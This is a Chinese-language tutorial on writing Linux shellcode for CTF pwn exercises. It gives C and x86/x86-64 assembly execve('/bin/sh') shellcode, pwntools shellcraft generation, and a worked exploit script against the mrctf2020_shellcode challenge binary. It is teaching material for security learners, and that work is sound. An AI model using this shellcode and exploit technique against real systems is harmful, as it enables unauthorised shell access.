shellcode编写
shellcode是一段用于利用软件漏洞而执行的代码,通常使用机器语言编写,其目的往往是让攻击者获得目标机器的命令行shell而得名,其他有类似功能的代码也可以称为shellcode。
简单的shellcode
最简单的shellcode就是直接用C语言system函数来调用/bin/sh
,代码如下:
# include <stdlib.h> # include <unistd.h> int main(void) { system("/bin/sh"); return 0; }
编译上述代码生成可执行文件,运行可执行文件便可以获得机器的shell。
上面是用C语言写的,用汇编语言也可以实现。具体思路就是设置好各个寄存器的值,然后触发内中断,执行系统调用。
这里简单介绍一下中断,补充一下背景知识。
对于任何一个通用的CPU,都具备一种能力,可以在执行完当前正在执行的指令之后,检测到从CPU外部发送过来的(外中断)或CPU内部产生的(内中断)一种特殊信息,并且可以立即对所接收到的信息进行处理。这种特殊的信息被称为“中断信息”。中断的意思是指CPU不再接着刚执行完的指令向下执行,而是去处理这个特殊信息。
CPU的内中断有四种情况:(1)除法错误;(2)单步执行;(3)执行into指令;(4)执行int指令。
int指令的格式为:int n
,n为中断类型码。CPU执行int n
,相当于引发一个n号中断的过程。int 0x80
表示引发0x80号中断,而0x80号中断就是系统调用,具体是哪个系统调用,就看寄存器EAX的值,这个值就是系统调用编号。在32位程序中,execve对应的系统调用编号是0xb;在64位程序中,execve对应的系统调用编号是0x3b。关于中断的详细信息可以查阅王爽老师的《汇编语言》,关于系统调用的详细信息可以参考你真的知道什么是系统调用吗?和操作系统(linux0.11)的系统调用。
32位的shellcode命名为shell32.asm
,需要:(1)设置ebx指向/bin/sh(2)ecx=0,edx=0(3)eax=0xb(4)int 0x80触发中断。
global _start _start: push "/sh" push "/bin" mov ebx, esp ;;ebx="/bin/sh" xor edx, edx ;;edx=0 xor ecx, ecx ;;ecx=0 mov al, 0xb ;;设置al=0xb,对应系统调用execve int 0x80
用命令nasm -f elf32 shell32.asm -o shell32.o
编译得到shell32.o
,用命令ld -m elf_i386 shell32.o -o shell32
链接得到shell32
,运行即可使用shell。
64位的shellcode命名为shell64.asm
,需要:(1)设置rdi指向/bin/sh(2)rsi=0,rdx=0(3)rax=0x3b(4)syscall 进行系统调用。注意,64位不再用int 0x80
触发中断,而是直接用syscall
进行系统调用。
global _start _start: mov rbx, '/bin/sh' push rbx push rsp pop rdi xor esi, esi xor edx, edx push 0x3b pop rax syscall
用命令nasm -f elf64 shell64.asm -o shell64.o
编译得到shell64.o
,用命令ld -m x86_64 shell64.o -o shell64
链接得到shell64
,运行即可使用shell。
用pwntools快速生成shellcode
在pwn工具准备一文中介绍了pwntools的安装,这是一个python的包,也是解决pwn题强有力的武器。
生成32位shellcode的python代码:
from pwn import* context(log_level = 'debug', arch = 'i386', os = 'linux') shellcode=asm(shellcraft.sh())
生成64位shellcode的python代码:
from pwn import* context(log_level = 'debug', arch = 'amd64', os = 'linux') shellcode=asm(shellcraft.sh())
context
用来设置运行时全局变量,比如体系结构、操作系统等。
shellcraft
用来生成指定体系结构和操作系统下的shellcode,如果没有在context设置全局运行时变量,还可以将shellcraft.sh()
完整写成shellcraft.i386.linux.sh()
。
asm
用来生成汇编和反汇编代码,体系结构、操作系统等参数可以通过context
来设定,也可以在asm
中参数的形式设定。上面的代码如果没有asm()
也可以得到正常的结果,但是会显式的直接写出/n
,而不是将其识别为换行。
运行上面的python代码就可以生成指定的shellcode。
shellcode实战
看一道简单的题mrctf2020_shellcode,首先用checksec mrctf2020_shellcode
查看一下格式和保护,结果表明这是一个64位的程序,没有开启栈溢出保护和NX保护,有可读可写可执行的栈。
然后用sudo chmod +x mrctf2020_shellcode
添加可执行权限,执行一下看看情况。
接着将程序拖到IDA Pro 64位中,或者用gdb调试,得到的汇编代码如下:
0x555555555159 <main+4> sub rsp, 0x410 0x555555555160 <main+11> mov rax, qword ptr [rip + 0x2ec9] <stdin@@GLIBC_2.2.5> 0x555555555167 <main+18> mov esi, 0 0x55555555516c <main+23> mov rdi, rax 0x55555555516f <main+26> call setbuf@plt <setbuf@plt> 0x555555555174 <main+31> mov rax, qword ptr [rip + 0x2ea5] <stdout@@GLIBC_2.2.5> 0x55555555517b <main+38> mov esi, 0 0x555555555180 <main+43> mov rdi, rax 0x555555555183 <main+46> call setbuf@plt <setbuf@plt> 0x555555555188 <main+51> mov rax, qword ptr [rip + 0x2eb1] <stderr@@GLIBC_2.2.5> 0x55555555518f <main+58> mov esi, 0 0x555555555194 <main+63> mov rdi, rax 0x555555555197 <main+66> call setbuf@plt <setbuf@plt> 0x55555555519c <main+71> lea rdi, [rip + 0xe61] 0x5555555551a3 <main+78> call puts@plt <puts@plt> 0x5555555551a8 <main+83> lea rax, [rbp - 0x410] 0x5555555551af <main+90> mov edx, 0x400 0x5555555551b4 <main+95> mov rsi, rax 0x5555555551b7 <main+98> mov edi, 0 0x5555555551bc <main+103> mov eax, 0 0x5555555551c1 <main+108> call read@plt <read@plt> 0x5555555551c6 <main+113> mov dword ptr [rbp - 4], eax 0x5555555551c9 <main+116> cmp dword ptr [rbp - 4], 0 0x5555555551cd <main+120> jg main+129 <main+129> 0x5555555551d6 <main+129> lea rax, [rbp - 0x410] 0x5555555551dd <main+136> call rax 0x5555555551df <main+138> mov eax, 0
这段代码比较简单,可以直接分析一下。首先是sub rsp, 0x410
是为局部变量开辟空间,接着依次调用了stdin
、stdout
、stderr
,然后调用puts
在屏幕上打印Show me your magic!
。重点是接下来的部分,可以看到调用了read
函数,该函数有三个参数,第一个参数表示要读的信息的来源,第二个参数表示存放读入信息的缓冲区,第三个参数表示读的信息的字节数。在C语言函数调用栈中介绍了64位程序中函数调用优先使用寄存器传参,所以edx传入的是第三个参数,rsi传入的是第二个参数,edi传入的第一个参数,表明要读入0x400个字节的数据,存放数据的缓冲区地址是rbp-0x410
,从标准输入中读取数据,函数调用的返回值存放在eax寄存器中,read
函数的返回值是实际读取的字节数,所以接下来的语句是将实际读取的字节数存入rbp-4
的位置,将这个值与0比较,如果大于0(即实际读取的字节数大于0),则跳转到<main+129>的地方执行,将rbp-0x410
的值传给rax,然后call rax
意味着以rax寄存器存放值为地址,跳转到该处执行接下来的指令。实际上,rbp-0x410
就是read
函数缓冲区开始的地方,换句话说,这个程序的作用就是将read
读取的数据当成指令来执行,如果向程序输入的数据是获取shell的指令,那么我们就可以获取shell了。我们可以用pwntools来构建shellcode,然后发送给程序。
from pwn import * context(os = 'linux',arch = 'amd64') # checksec告诉我们这是64位程序 p = process('./mrctf2020_shellcode') # 启动进程 shellcode = shellcraft.sh() # 生成shellcode payload = asm(shellcode) # 构建payload p.send(payload) # 向进程发送payload # gdb.attach(p) # 在新终端中用gdb调试进程 p.interactive() # 与进程交互
参考资料
星盟安全团队课程:https://www.bilibili.com/video/BV1Uv411j7fr
CTF竞赛权威指南(Pwn篇)(杨超 编著,吴石 eee战队 审校,电子工业出版社)
汇编语言(第3版)(王爽 著,清华大学出版社)
pwntools官方文档:http://docs.pwntools.com/en/latest/